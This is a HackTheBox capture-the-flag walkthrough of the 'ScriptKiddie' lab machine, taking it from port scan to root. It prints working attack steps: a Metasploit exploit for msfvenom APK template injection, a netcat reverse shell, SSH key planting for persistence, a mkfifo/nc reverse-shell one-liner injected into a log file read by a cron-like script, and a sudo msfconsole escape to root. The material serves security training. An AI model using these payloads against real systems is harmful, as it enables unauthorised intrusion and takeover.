Posts HackTheBox - ScriptKiddie - Write-Up
Post
Cancel

HackTheBox - ScriptKiddie - Write-Up

Preview Image

Box Statistics

  
NameScriptKiddie
Release DateFebruary 6, 2021
Operating SystemLinux Desktop View
Difficulty\(\color{green} \text{EASY}\)
Difficulty RatingDesktop View
Machine MatrixDesktop View
Base PointsDesktop View
Creator0xdf

Reconnaissance

Port Scan

We start by running nmapAutomator so we can have quick initial information and leave a recon running in the background.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
┌─[sarange@parrot]─[~/hackthebox/WorkingOn/Active/ScriptKiddie_pre]
└──╼ $sudo bash ~/hackthebox/Tools/nmapAutomator/nmapAutomator.sh 10.10.10.226 All

Running all scans on 10.10.10.226

Host is likely running Linux

---------------------Starting Nmap Quick Scan---------------------

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-30 16:39 EDT
Nmap scan report for 10.10.10.226
Host is up (0.14s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

Nmap done: 1 IP address (1 host up) scanned in 2.92 seconds

---------------------Starting Nmap Basic Scan---------------------

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-30 16:39 EDT
Nmap scan report for 10.10.10.226
Host is up (0.14s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)
|   256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)
|_  256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)
5000/tcp open  http    Werkzeug httpd 0.16.1 (Python 3.8.5)
|_http-title: k1d'5 h4ck3r t00l5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.77 seconds

Custom Site on port 5000

When we browse to port 5000 we see a custom website that is made by a 1337 h4ck3r that can help us do:

  • Port scans on the top 100 ports of an IP
  • Create Metasploit payload with msfvenom with a custom template
  • Do a search on exploit-db’s database through searchsploit

Desktop View Web server on port 5000

If we try to enter anything that is not an IP address on the ip or the lhost field, the site was us that this is an invalid IP and does not execute our request.

Desktop View Trying to escape the IP field

If a put anything to try and escape to bash on the search field, the site responds that it well hack us back.

Desktop View Trying to escape the search field and getting threatened

The same happens if we try to put anything other than windows, linux or android on that os field.

MSFConsole Exploitation

The only attack vector on this page now seems to be the template file. If we google around for msfvenom template vulnerability, we can find this post post.

This module exploits a command injection vulnerability in Metasploit Framework’s msfvenom payload generator when using a crafted APK file as an Android payload template. Affects Metasploit Framework <= 6.0.11 and Metasploit Pro <= 4.18.0. The file produced by this module is a relatively empty yet valid-enough APK file. To trigger the vulnerability, the victim user should do the following: msfvenom -p android/<…> -x

So if the Metasploit version of the box is older than 6.0.11, we can exploit this vulnerability of Metasploit with Metasploit, so we can hack the hacker! Let’s give it a shot.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
┌─[sarange@parrot]─[~]
└──╼ $sudo msfconsole

      .:okOOOkdc'           'cdkOOOko:.
    .xOOOOOOOOOOOOc       cOOOOOOOOOOOOx.
   :OOOOOOOOOOOOOOOk,   ,kOOOOOOOOOOOOOOO:
  'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
  oOOOOOOOO.    .oOOOOoOOOOl.    ,OOOOOOOOo
  dOOOOOOOO.      .cOOOOOc.      ,OOOOOOOOx
  lOOOOOOOO.         ;d;         ,OOOOOOOOl
  .OOOOOOOO.   .;           ;    ,OOOOOOOO.
   cOOOOOOO.   .OOc.     'oOO.   ,OOOOOOOc
    oOOOOOO.   .OOOO.   :OOOO.   ,OOOOOOo
     lOOOOO.   .OOOO.   :OOOO.   ,OOOOOl
      ;OOOO'   .OOOO.   :OOOO.   ;OOOO;
       .dOOo   .OOOOocccxOOOO.   xOOd.
         ,kOl  .OOOOOOOOOOOOO. .dOk,
           :kk;.OOOOOOOOOOOOO.cOk:
             ;kOOOOOOOOOOOOOOOk:
               ,xOOOOOOOOOOOx,
                 .lOOOOOOOl.
                    ,dOd,
                      .

       =[ metasploit v6.0.41-dev                          ]
+ -- --=[ 2122 exploits - 1138 auxiliary - 360 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 8 evasion                                       ]

Metasploit tip: Use help <command> to learn more
about any command

msf6 > use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > show options

Module options (exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.apk          yes       The APK file name


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set lhost 10.10.10.226
lhost => 10.10.10.226
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > exploit

[+] msf.apk stored at /root/.msf4/local/msf.apk

Let’s start a netcat listener on port 4444 as this is set by default on the payload.

1
2
3
┌─[sarange@parrot]─[~/hackthebox/WorkingOn/Active/ScriptKiddie_done/assets]
└──╼ $nc -lvnp 4444
listening on [any] 4444

Now we can upload our payload on the site with a random IP in the lhost field and see if we get a connection back.

1
2
3
4
5
6
┌─[sarange@parrot]─[~/hackthebox/WorkingOn/Active/ScriptKiddie_done/assets]
└──╼ $nc -lvnp 4444
listening on [any] 4444
connect to [10.10.14.75] from (UNKNOWN) [10.10.10.226] 53540
id
uid=1000(kid) gid=1000(kid) groups=1000(kid)

User kid

Getting real shell

Now that we have a shell on the box, we want make it a little more stable and get persistence in case the connection drops. We know that ssh is running on the server from the nmap scan, so we can create a ssh key and put it on the server.

Local Machine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌─[sarange@parrot]─[~/hackthebox/WorkingOn/Active/ScriptKiddie_pre]
└──╼ $ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/sarange/.ssh/id_rsa): /home/sarange/hackthebox/WorkingOn/Active/ScriptKiddie_pre/id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/sarange/hackthebox/WorkingOn/Active/ScriptKiddie_pre/id_rsa
Your public key has been saved in /home/sarange/hackthebox/WorkingOn/Active/ScriptKiddie_pre/id_rsa.pub
The key fingerprint is:
SHA256:xJ3fgXETiAl5UHz/cW62RPyTJfF7YimjJWrAO8jn744 sarange@parrot
The key's randomart image is:
+---[RSA 3072]----+
|        o*.o..+. |
|       ...=.o+.. |
|        o.o...oo |
|       .   . .o=+|
|     .  S   . o=B|
|      o   . + +=B|
|   . . o . + +.++|
|    o +.o .    . |
|     oE*+        |
+----[SHA256]-----+

Remote Machine

1
2
3
4

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCjVpXvv7NGYl71VIqZctXhojVEANDAWSHnpAnkRId8RcsIdZ7K8qhwpllYB34M8G9Z2rXDBcxNnk65h+gTKjmXi9O7ZQvEDJQSfrF9AMbgUIVB9vP8dW1ZdtNqjFW5Zxmz7V7YESsYaAkQwtnEdvjOu3n+Bs+ICEVoJPCU+r4NL8TqQXZ6KnDWD+0z+7jX/vRrNLw0na6Y/NYvynXUCrfhCM8R9eSS3M7SP03Hl2HXVqWrkfgnVBVNtO7iZOviK+iI2IA3oblBxF0L6XFR8bHTV6kWaECDpdA+SHhhKmgHEbiFkgbbLj/PbGY7Gv83fj/BY4LV28aKFZX+DA2u2JDjG4RGoAQLSag4MtCYEBs+CFlpvhsAaXGsQ71JKdS6HTDatrwtxoKZyqnF9RvN/njkX2bvBu+RCARQxkjNjtXK+zSnRqut7SHniFWzNo/QDGQOolvex3SYM32Cvv/KvH5LwAXQdpwIhR8fGsW4UYZwKtQmndjGReF2NdfLcdj4tYc= sarange@parrot' >> ~/.ssh/authorized_keys
id
uid=1000(kid) gid=1000(kid) groups=1000(kid)

Now we can connect to the box with ssh as the user kid.

Local Machine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌─[sarange@parrot]─[~/hackthebox/WorkingOn/Active/ScriptKiddie_pre]
└──╼ $ssh -i id_rsa kid@10.10.10.226
The authenticity of host '10.10.10.226 (10.10.10.226)' can't be established.
ECDSA key fingerprint is SHA256:pALlCiXAy3vx09h2utAwb6w3wp7TNNn0qxANXYRvqu0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.226' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-65-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Apr 30 21:44:07 UTC 2021

  System load:             0.0
  Usage of /:              29.6% of 17.59GB
  Memory usage:            63%
  Swap usage:              0%
  Processes:               498
  Users logged in:         0
  IPv4 address for ens160: 10.10.10.226
  IPv6 address for ens160: dead:beef::250:56ff:feb9:728


1 update can be installed immediately.
1 of these updates is a security update.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Apr 30 20:46:26 2021 from 10.10.14.147
kid@scriptkiddie:~$

As the kid user we can read the user.txt.

1
2
kid@scriptkiddie:~$ wc -c user.txt
33 user.txt

Custom Site Source Code

Now we can see the custom web server for anything interesting in it.

1
2
3
4
5
6
kid@scriptkiddie:~$ ls
html  logs  snap  user.txt
kid@scriptkiddie:~$ cd html/
kid@scriptkiddie:~/html$ ls
__pycache__  app.py  static  templates
kid@scriptkiddie:~/html$ cat app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
import datetime
import os
import random
import re
import subprocess
import tempfile
import time
from flask import Flask, render_template, request
from hashlib import md5
from werkzeug.utils import secure_filename

regex_ip = re.compile(r'^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$')
regex_alphanum = re.compile(r'^[A-Za-z0-9 \.]+$')
OS_2_EXT = {'windows': 'exe', 'linux': 'elf', 'android': 'apk'}

app = Flask(__name__)

@app.route('/', methods=['GET','POST'])
def index():
    if request.method == 'GET' or not 'action' in request.form:
        return render_template('index.html')
    elif request.form['action'] == 'scan':
        return scan(request.form['ip'])
    elif request.form['action'] == 'generate':
        return venom(request)
    elif request.form['action'] == 'searchsploit':
        return searchsploit(request.form['search'], request.remote_addr)
    print("no valid action")
    return request.form                                                                                                                                                              [38/114]
def scan(ip):
    if regex_ip.match(ip):
        if not ip == request.remote_addr and ip.startswith('10.10.1') and not ip.startswith('10.10.10.'):
            stime = random.randint(200,400)/100
            time.sleep(stime)
            result = f"""Starting Nmap 7.80 ( https://nmap.org ) at {datetime.datetime.utcnow().strftime("%Y-%m-%d %H:%M")} UTC\nNote: Host seems down. If it is reall
y up, but blocking our ping probes, try -Pn\nNmap done: 1 IP address (0 hosts up) scanned in {stime} seconds""".encode()
        else:
            result = subprocess.check_output(['nmap', '--top-ports', '100', ip])
        return render_template('index.html', scan=result.decode('UTF-8', 'ignore'))
    return render_template('index.html', scanerror="invalid ip")

def searchsploit(text, srcip):
    if regex_alphanum.match(text):
        result = subprocess.check_output(['searchsploit', '--color', text])
        return render_template('index.html', searchsploit=result.decode('UTF-8', 'ignore'))
    else:
        with open('/home/kid/logs/hackers', 'a') as f:
            f.write(f'[{datetime.datetime.now()}] {srcip}\n')
        return render_template('index.html', sserror="stop hacking me - well hack you back")

def venom(request):
    errors = []
    file = None
    if not 'lhost' in request.form:
        errors.append('lhost missing')
    else:
        lhost = request.form['lhost']
        if not regex_ip.match(lhost):
            errors.append('invalid lhost ip')
    if not 'os' in request.form:
        errors.append('os missing')
    else:
        tar_os = request.form['os']
        if tar_os not in ['windows', 'linux', 'android']:
            errors.append(f'invalid os: {tar_os}')
    if 'template' in request.files and request.files['template'].filename != '':
        file = request.files['template']
        if not ('.' in file.filename and file.filename.split('.')[-1] == OS_2_EXT[tar_os]):
            errors.append(f'{tar_os} requires a {OS_2_EXT[tar_os]} ext template file')
        else:
            template_name = secure_filename(file.filename)
            template_ext = file.filename.split('.')[-1]
            template_file = tempfile.NamedTemporaryFile('wb', suffix='.'+template_ext)
            file.save(template_file.name)
    else:
        template_name = "None"

    if errors:
        return render_template('index.html', payloaderror='<br/>\n'.join(errors))

    payload = f'{tar_os}/meterpreter/reverse_tcp'
    outfilename = md5(request.remote_addr.encode()).hexdigest()[:12] + '.' + OS_2_EXT[tar_os]
    outfilepath = os.path.join(app.root_path, 'static', 'payloads', outfilename)

    try:
        if file:
            print(f'msfvenom -x {template_file.name} -p {payload} LHOST={lhost} LPORT=4444')
            result = subprocess.check_output(['msfvenom', '-x', template_file.name, '-p',
                payload, f'LHOST={lhost}', 'LPORT=4444',
                '-o', outfilepath])
            template_file.close()
        else:
            result = subprocess.check_output(['msfvenom', '-p', payload,
                f'LHOST={lhost}', 'LPORT=4444', '-o', outfilepath])
    except subprocess.CalledProcessError:
        return render_template('index.html', payloaderror="Something went wrong")

    return render_template('index.html', payload=payload, lhost=lhost,
            lport=4444, template=template_name, fn=outfilename)

if __name__ == '__main__':
    app.run(host='0.0.0.0')

As we see in the lines 12 and 13, the regex would not have let us to bypass the input fields. We can see on lines 47 and 48 that there is a file /home/kid/logs/hackers that contains the IPs of those that tried to escape the input fields. We can try and have a look at it.

1
2
kid@scriptkiddie:~/html$ cat /home/kid/logs/hackers
kid@scriptkiddie:~/html$

Hmm, that is weird, at least my IP should have been in there, maybe there is some process that reads them and deletes it after it is done with them. We can try to see if any such process exists by running pspy on the box and triggering the process by putting an illegal character on the search field on the web site.

Local Machine

1
2
3
┌─[sarange@parrot]─[~/hackthebox/WorkingOn/Active/ScriptKiddie_pre]
└──╼ $scp -i id_rsa pspy64 kid@10.10.10.226:/dev/shm
pspy64

Remote Machine

1
2
kid@scriptkiddie:~$ cd /dev/shm
kid@scriptkiddie:/dev/shm$ ./pspy64

Now we trigger writing our IP in the file by sending ; to the search field on the web site.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
[more output]
2021/05/01 14:10:10 CMD: UID=0    PID=2716   | /lib/systemd/systemd-udevd
2021/05/01 14:10:12 CMD: UID=1001 PID=2717   | /bin/bash -c sed -i 's/open  /closed/g' "/home/pwn/recon/10.10.14.75.nmap"
2021/05/01 14:10:12 CMD: UID=1001 PID=2718   | sed -i s/open  /closed/g /home/pwn/recon/sedjDoUED
2021/05/01 14:10:29 CMD: UID=1001 PID=2725   | /bin/bash /home/pwn/scanlosers.sh
2021/05/01 14:10:29 CMD: UID=1001 PID=2724   | sort -u
2021/05/01 14:10:29 CMD: UID=1001 PID=2723   | cut -d  -f3-
2021/05/01 14:10:29 CMD: UID=1001 PID=2722   |
2021/05/01 14:10:29 CMD: UID=0    PID=2721   | /usr/bin/systemd-tmpfiles --clean
2021/05/01 14:10:29 CMD: UID=1001 PID=2720   | /bin/bash /home/pwn/scanlosers.sh
2021/05/01 14:10:29 CMD: UID=0    PID=2743   | /lib/systemd/systemd-udevd
2021/05/01 14:10:29 CMD: UID=1001 PID=2741   | nmap --top-ports 10 -oN recon/10.10.14.75.nmap 10.10.14.75
2021/05/01 14:10:29 CMD: UID=1001 PID=2739   | sh -c nmap --top-ports 10 -oN recon/10.10.14.75.nmap 10.10.14.75 2>&1 >/dev/null
2021/05/01 14:10:29 CMD: UID=0    PID=2738   | /lib/systemd/systemd-udevd
2021/05/01 14:10:29 CMD: UID=0    PID=2737   | /lib/systemd/systemd-udevd
2021/05/01 14:10:29 CMD: UID=0    PID=2736   | /lib/systemd/systemd-udevd
2021/05/01 14:10:29 CMD: UID=0    PID=2735   | /lib/systemd/systemd-udevd
2021/05/01 14:10:29 CMD: UID=0    PID=2734   | /lib/systemd/systemd-udevd
2021/05/01 14:10:29 CMD: UID=0    PID=2733   | /lib/systemd/systemd-udevd
2021/05/01 14:10:29 CMD: UID=0    PID=2732   | /lib/systemd/systemd-udevd
2021/05/01 14:10:29 CMD: UID=0    PID=2731   | /lib/systemd/systemd-udevd
2021/05/01 14:10:29 CMD: UID=0    PID=2730   | /lib/systemd/systemd-udevd
2021/05/01 14:10:29 CMD: UID=0    PID=2729   | /lib/systemd/systemd-udevd
2021/05/01 14:10:29 CMD: UID=0    PID=2728   | /lib/systemd/systemd-udevd
2021/05/01 14:10:29 CMD: UID=0    PID=2727   | /lib/systemd/systemd-udevd
2021/05/01 14:10:29 CMD: UID=0    PID=2726   | /lib/systemd/systemd-udevd
2021/05/01 14:10:29 CMD: UID=1001 PID=2744   | /usr/sbin/incrond n/scanlosers.sh
2021/05/01 14:10:29 CMD: UID=1001 PID=2748   | /bin/bash /home/pwn/scanlosers.sh
2021/05/01 14:10:29 CMD: UID=1001 PID=2747   | /bin/bash /home/pwn/scanlosers.sh
2021/05/01 14:10:29 CMD: UID=1001 PID=2746   | cut -d  -f3-
2021/05/01 14:10:29 CMD: UID=1001 PID=2745   | /bin/bash /home/pwn/scanlosers.sh
2021/05/01 14:10:29 CMD: UID=0    PID=2749   | /lib/systemd/systemd-udevd
2021/05/01 14:10:31 CMD: UID=0    PID=2752   | /usr/sbin/incrond
2021/05/01 14:10:31 CMD: UID=1001 PID=2753   | /bin/bash -c sed -i 's/open  /closed/g' "/home/pwn/recon/sedO2cnXg"

Command Injection

We can see that the script /home/pwn/scanlosers.sh is called by the user pwn every time a new IP is added on the /home/kid/logs/hackers file and an nmap process starts against that IP. We can try to read that script if it is readable by the user kid.

1
kid@scriptkiddie:/dev/shm$ cat /home/pwn/scanlosers.sh
1
2
3
4
5
6
7
8
9
10
#!/bin/bash

log=/home/kid/logs/hackers

cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
    sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done

if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi

As we can see there is no sanitisation on the input, so if we can write on the /home/kid/logs/hackers file, we can do command injection on the script and pivot to the pwn user.

1
2
3
4
5
6
kid@scriptkiddie:/dev/shm$ cd ~/logs
kid@scriptkiddie:~/logs$ ls -la
total 8
drwxrwxrwx  2 kid kid 4096 May  1 14:01 .
drwxr-xr-x 11 kid kid 4096 May  1 14:04 ..
-rw-rw-r--  1 kid pwn    0 May  1 14:10 hackers

We can write to the file /home/kid/logs/hackers so let’s start a netcal listener on our local machine.

Local Machine

1
2
3
┌─[sarange@parrot]─[~/hackthebox/WorkingOn/Active/ScriptKiddie_pre]
└──╼ $nc -lvnp 9001
listening on [any] 9001 ...

Now we can escape the nmap command with ; and put a ;# at the end of our command so the we end our command and comment everything that comes after.

Remote Machine

1
kid@scriptkiddie:~/logs$ echo 'nothing; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.75 9001 >/tmp/f ;#' > hackers

Local Machine

1
2
3
4
5
6
7
┌─[sarange@parrot]─[~/hackthebox/WorkingOn/Active/ScriptKiddie_pre]
└──╼ $nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.75] from (UNKNOWN) [10.10.10.226] 40746
sh: 0: can't access tty; job control turned off
$ id
uid=1001(pwn) gid=1001(pwn) groups=1001(pwn)

User pwn

Getting a better shell

Now that we got a shell as pwn we need to make it more stable. Let’s try the same thing as before.

1
2
3
4
5
6
7
$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCjVpXvv7NGYl71VIqZctXhojVEANDAWSHnpAnkRId8RcsIdZ7K8qhwpllYB34M8G9Z2rXDBcxNnk65h+gTKjmXi9O7ZQvEDJQSfrF9AMbgUIVB9vP8dW1ZdtNqjFW5Zxmz7V7YESsYaAkQwtnEdvjOu3n+Bs+ICEVoJPCU+r4NL8TqQXZ6KnDWD+0z+7jX/vRrNLw0na6Y/NYvynXUCrfhCM8R9eSS3M7SP03Hl2HXVqWrkfgnVBVNtO7iZOviK+iI2IA3oblBxF0L6XFR8bHTV6kWaECDpdA+SHhhKmgHEbiFkgbbLj/PbGY7Gv83fj/BY4LV28aKFZX+DA2u2JDjG4RGoAQLSag4MtCYEBs+CFlpvhsAaXGsQ71JKdS6HTDatrwtxoKZyqnF9RvN/njkX2bvBu+RCARQxkjNjtXK+zSnRqut7SHniFWzNo/QDGQOolvex3SYM32Cvv/KvH5LwAXQdpwIhR8fGsW4UYZwKtQmndjGReF2NdfLcdj4tYc= sarange@parrot' >> ~/.ssh/authorized_keys
sh: 5: cannot create /home/pwn/.ssh/authorized_keys: Permission denied
$ ls -la .ssh
total 8
drwx------ 2 pwn  pwn  4096 Feb 10 16:10 .
drwxr-xr-x 6 pwn  pwn  4096 Feb  3 12:06 ..
-rw-r--r-- 1 root root    0 Feb 10 16:10 authorized_keys

Bummer, the authorized_keys file on the pwn’s user home directory is owned by root so we cannot write to it. We can do it with the python way.

1
2
3
4
5
6
7
8
9
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
pwn@scriptkiddie:~$ ^Z
[1]+  Stopped                 nc -lvnp 9001
┌─[✗]─[sarange@parrot]─[~/hackthebox/WorkingOn/Active/ScriptKiddie_pre]
└──╼ $stty raw -echo
┌─[sarange@parrot]─[~/hackthebox/WorkingOn/Active/ScriptKiddie_pre]
nc -lvnp 9001

pwn@scriptkiddie:~$

Escalating from Metasploit

Now that we have a tty we an see if we can run sudo without a password as the pwn user.

1
2
3
4
5
6
7
pwn@scriptkiddie:~$ sudo -l
Matching Defaults entries for pwn on scriptkiddie:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pwn may run the following commands on scriptkiddie:
    (root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole

Great, we can run msfconsole as the root user. We can run command from inside the msfconsole as our euid by simply running them, let’s try that.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwn@scriptkiddie:~$ sudo /opt/metasploit-framework-6.0.9/msfconsole

 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


       =[ metasploit v6.0.9-dev                           ]
+ -- --=[ 2069 exploits - 1122 auxiliary - 352 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Use the resource command to run commands from a file

msf6 > bash
[*] exec: bash
root@scriptkiddie:/home/pwn# id
uid=0(root) gid=0(root) groups=0(root)

Root

Now that we are root we can see we can read the root.txt file.

1
2
3
root@scriptkiddie:/home/pwn# cd /root
root@scriptkiddie:~# wc -c root.txt
33 root.txt
This post is licensed under CC BY 4.0 by the author.